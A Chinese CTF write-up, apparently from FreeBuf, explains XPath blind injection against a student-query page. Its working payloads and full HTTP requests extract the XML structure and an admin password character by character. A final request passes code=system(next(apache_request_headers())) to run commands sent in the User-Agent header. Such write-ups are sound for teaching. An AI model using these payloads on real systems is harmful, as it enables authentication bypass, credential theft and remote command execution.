
1.前言
XPath注入是一种针对使用XPath(XML Path Language)的应用程序进行攻击的安全漏洞。XPath是一种用于在XML文档中定位信息的查询语言,类似于SQL中的查询语言。XPath注入类似于SQL注入,攻击者利用应用程序未正确验证用户输入的漏洞,向应用程序提交恶意构造的XPath查询,从而绕过认证、获取未授权的数据或执行未经授权的操作。
在一次CTF题目中,正巧碰到了该类型的注入,网上资料挺少的,于是记录一下。本文会全面讲解。
2.前置知识
首先举一个Xml的案例,在Xml语法中,是比较严格的。
比如:
<book> <title>Hello</title> <name>小明</name> </book>
都为成对出现,而所谓的Xpath注入,其实和SQL注入类似,查询的是xml中的内容,比如节点名,节点下有哪些子节点,子节点里面有哪些内容等等。
比如一个账号密码写到了xml中,用户名aaa,密码123456。通过Xpath注入,就可以获取到其中的账号和密码,进行下一步操作。
<admin> <user>aaa</user> <pass>123456</pass> <admin>
3.Xpath盲注
该题目打开之后是一个查询的页面:
当输入1'时候报错,显示有xpath错误等(目前结束了,只有当时留下的截图)
(找了个线上类似的CTF靶场,与原题不一样,但可以看看https://buuoj.cn/challenges#[NPUCTF2020]ezlogin)
首先查询根节点数量:
'or count(/)=1 or ''=' ###根节点数量为1 'or count(/*)=1 or ''=' ##根节点下只有一个子节点
不过在原题中,count函数无法使用,所以后面多走了很多弯路。
查询根节点下的节点名称:
'or substring(name(/*[1]), 1, 1)='a' or ''=' 'or substring(name(/*[1]), 2, 1)='c' or ''=' 'or substring(name(/*[1]), 8, 1)='s' or ''='简单解释一下上面的语句,name其实可以理解为一个内置函数,查询的为根节点的名字,比如1,1判断第一个字符是否为a,这里可以直接用burp爆破来做测试,循环遍历a-zA-Z0-9即可。
查询根节点名称:
POST /query.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 63 Connection: close {"student_id":"'or substring(name(/*[1]), 1, 1)='1' or ' '='"}
最后爆破出来的根节点为:school
所以自己可以先行构造该xml为:
<school> </school>
那么得知school为根节点之后,继续往后测试。
查询school下方节点:
'or substring(name(/school/[position()=1]/*[1]),1,1)='1' or ' '='
此时[position()=1]/*[1])查询的则为根节点中,第一个子节点的名称,同理使用burp爆破即可。比如查询school下的第二个子节点,只需要改成[2]即可。
比如school下的第一个子节点为students。查询students下方的节点。/school/students/[position()=1]/*[1])来查询students中的第一个子节点....
经过依次类推:
POST /query.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 91 Connection: close {"student_id":"'or substring(name(/school/students/student/[position()=1]/*[1]),1,1)='1' or ' '='"}
最终得到整个xml语法结构:
<school> <students> <student> <id></id> <name></name> <college></college> </student> <student> <id></id> <name></name> <college></college> </student> <student> <id></id> <name></name> <college></college> </student> </students> <admin> <username></username> <password></password> <admin> </school>
此时只知道整个xml的结构,就开始查询其中的内容。
这里有个坑,最开始没有查询school下的第二个子节点,也就是admin。导致一直在student节点里面玩....发现能查询出id,但name和college都为空。思路就停滞住了。一切的坑全部在count函数被禁用。导致一直以为只有一个节点...
{"student_id":"'or substring(name(/school/*[2]), 1, 1)='1' or ' '='} 这条语句此时就是查询的就是school下第二个节点的名字。最终查询出admin这个节点
然后继续查admin下方的节点:
比如<admin><子节点></子节点></admin>
{"student_id":"'or substring(name(/school/admin[position()=1]/*[2]),1,1)='1' or ' '='"}
跑内容的话相对简单,下方这条语句表示查询password中的内容,且判断的为第四位,这里继续用burp爆破即可。鸡肋的地方在于不知道啥时候结束。只能一个个往后爆破。带着点运气的手法了。
POST /query.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 83 Connection: close {"student_id":"'or substring(/school/admin/password/text(), 4, 1)='1' or ' '='"}最终成果: admin xxxxxxx123 (密码这里随便写了一个)
<school> <students> <student> <id>101</id> <name></name> <college></college> </student> <student> <id>102</id> <name></name> <college></college> </student> <student> <id>103</id> <name></name> <college></college> </student> </students> <admin> <username>admin</username> <password>xxxxxxx123</password> <admin> </school>
得知前面的账号密码后登录后台:
登录后就是一个命令执行:
但是只能执行phpinfo,无法执行其它命令。
最后通过在header中来执行命令~
POST /home.php HTTP/1.1 Host: User-Agent: 执行命令的地方 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 43 code=system(next(apache_request_headers()))
4.结尾
总体来说该题目很有意思,由于已结束,所以图可能比较少,具体可以看一下Xpath的文档:
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)